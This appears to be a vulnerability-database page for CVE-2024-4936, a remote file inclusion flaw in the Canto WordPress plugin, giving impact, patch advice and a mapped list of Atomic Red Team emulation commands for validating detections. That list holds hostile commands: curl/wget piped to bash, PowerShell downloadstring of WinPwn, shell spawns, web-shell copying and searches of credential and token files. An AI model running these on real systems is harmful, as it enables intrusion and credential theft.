CVE-2024-4936
Overview
This vulnerability is a Remote File Inclusion (RFI) flaw in the Canto plugin for WordPress, caused by improper handling of the 'abspath' parameter. The plugin fails to validate or sanitize this input, allowing external URLs to be included and executed on the server. The issue affects all versions up to and including 3.0.8 of the Canto plugin, specifically within its file inclusion logic.
Vulnerability Description
The Canto plugin for WordPress is vulnerable to Remote File Inclusion in all versions up to, and including, 3.0.8 via the abspath parameter. This makes it possible for unauthenticated attackers to include remote files on the server, resulting in code execution. This required allow_url_include to be enabled on the target site in order to exploit.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary code on the server by including remote malicious files, potentially leading to full system compromise. Exploitation requires that the target WordPress site has allow_url_include enabled, which is not enabled by default but may be present in some configurations. This can result in data breaches, service disruption, or lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that no privileges or user interaction are needed, increasing the attack surface significantly.
Solution
Users should upgrade the Canto WordPress plugin to a version later than 3.0.8, where this vulnerability has been addressed. Detailed patch information and version updates are available via the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338) and the WordPress plugin repository changesets. Additionally, administrators should ensure that the PHP configuration directive allow_url_include is disabled to mitigate exploitation risk if patching is not immediately feasible.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the Canto plugin for WordPress is characterized by a Remote File Inclusion (RFI) flaw that affects all versions up to and including 3.0.8. This vulnerability arises from improper validation of the "abspath" parameter, which allows an attacker to include files from remote servers. When the "allow_url_include" directive is enabled in the PHP configuration of the target server, this flaw can be exploited to execute arbitrary code. The implications of this vulnerability are significant, as it opens the door for unauthorized users to manipulate the server environment, potentially leading to full system compromise.
Attack vectors for exploiting this vulnerability are relatively straightforward. An attacker can craft a malicious request that exploits the RFI flaw by manipulating the "abspath" parameter to point to a remote file containing malicious code. This can be done without any authentication, making it particularly dangerous. Once the malicious file is included and executed, the attacker gains control over the server, which can lead to data theft, website defacement, or the installation of additional malware. Furthermore, the ease of exploitation means that even individuals with limited technical skills can potentially launch successful attacks, increasing the risk to vulnerable installations.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on WordPress for their online presence. Successful exploitation can lead to unauthorized access to sensitive data, including customer information and proprietary business data. Additionally, the compromised server can be used to launch further attacks against other systems, either within the same network or externally. The reputational damage from a security breach can also be significant, leading to loss of customer trust and potential legal ramifications. The financial implications of remediation, legal fees, and potential fines can further exacerbate the business risk associated with this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, it is crucial to ensure that the Canto plugin is updated to the latest version, which addresses this vulnerability. Regularly auditing installed plugins and themes for known vulnerabilities can help maintain a secure environment. Additionally, disabling the "allow_url_include" directive in the PHP configuration can significantly reduce the risk of RFI attacks. Employing a web application firewall (WAF) can also provide an additional layer of protection by filtering out malicious requests before they reach the server. Finally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the RFI vulnerability in the Canto plugin for WordPress poses a significant threat to organizations using this software. The potential for remote code execution, combined with the ease of exploitation, makes it a critical concern for cybersecurity professionals. By understanding the technical details, attack vectors, real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this vulnerability. Proactive measures and a commitment to security best practices are essential in safeguarding against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Canto | Canto | All |
cpe:2.3:a:canto:canto:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4936 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/canto/trunk/includes/lib/sizes.php#L15 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3105443%40canto&new=3104074%40canto&sfp_email=&sfph_mail= |